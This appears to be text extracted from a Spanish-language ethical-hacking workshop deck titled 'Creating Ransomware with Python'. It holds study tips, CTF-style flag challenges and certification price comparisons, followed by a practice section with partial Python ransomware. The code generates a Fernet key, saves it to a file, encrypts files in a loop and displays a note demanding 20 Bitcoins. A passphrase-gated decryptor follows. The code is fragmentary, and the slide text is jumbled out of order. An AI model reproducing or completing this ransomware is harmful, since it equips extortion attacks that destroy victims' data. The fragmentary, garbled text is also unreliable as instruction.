Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Ciberseguridad
"Creando un Ransomware
con Python"
El camino para convertirse
en un profesional del
con Python
¿Qué hemos aprendido estos días?
domine el tema
Tip 2 - No te asustes sino tienes todas las bases,
(Captura la Bandera)
Tip 4 - Añadan todo lo que aprendan a su hoja de
vida
Tip 5 - Ser persistentes con estudio porque lo van a
lograr
¿Qué hemos aprendido estos días?
Metodología PMG
(Pentesting de Manera Gamificada)
¿Qué hemos aprendido estos días?
¿Qué hicimos?
Bandera1: user.txt
Retos Encontrar:
Bandera2: root.txt
¿Qué hemos aprendido estos días?
¿Qué utilizamos y
aprendimos ?
Caso
Bandera1: user.txt
Retos Encontrar:
Bandera2: root.txt
¿Qué aprenderemos hoy?
¿Qué vamos a
utilizar y aprender ?
Caso
Los archivos de una organización han sido cifrados por un
Gray Hat que quería probar sus habilidades. Nos ha dejado
la contraseña para descifrar los archivos en algún lugar de
nuestro sistema. Podrás encontrarlo?
Hacking Ético
Debo tener muchas bases de estudio
me van a contratar
Número de preguntas :
Número de preguntas: 40 en
125 en opción múltiple opción múltiple
Precio normal : 1515$
Precio normal : 200$ incluye
incluye material y
material y voucher
voucher Tiempo: 1 hora
Tiempo: 4 horas Simulador de exámen para
Certificaciones iniciales de
practicar
Hacking Ético
Diferencias entre certificaciones
Laboratorios no
Laboratorios no
descargables descargables
Material PDF descargable Material no descargable
Precio normal: 550$ voucher Precio normal : entre 200$-
400 $ voucher
Certificaciones iniciales de
Hacking Ético
Hora de la
Práctica
Ransomware con Python
variable
3. Importar Libreria Fernet usada para
encriptar archivos
4. Guardar clave en un archivo
5. Crear un bucle para encriptar archivos
import os,sys
from cryptography.fernet import Fernet
archivos = []
archivos_ignorados = [os.path.basename(__file__),'decrypt.py']
if os.path.exists('laclave.txt') == True:
print("El archivo laclave.txt ya existe no se puede encriptar archivos nuevamente")
sys.exit()
else:
print(archivos)
clave = Fernet.generate_key()
print("Todos tus archivos han sido encriptados envia 20 Bitcoins o se eliminaran permanentemente en 2 dias")
Código descifrador
#!/usr/bin/python3
import os,sys
from cryptography.fernet import Fernet
archivos = []
archivos_ignorados = [os.path.basename(__file__),'laclave.txt','ransom.py']
print(archivos)
palabrasecreta = "redteam"
if fraseingresada == palabrasecreta:
for archivo in archivos:
with open(archivo, "rb") as elarchivo:
contenidos = elarchivo.read()
contenidos_desencriptados = Fernet(clavesecreta).decrypt(contenidos)
with open(archivo, "wb") as elarchivo:
elarchivo.write(contenidos_desencriptados)
else:
print("Palabra secreta incorrecta")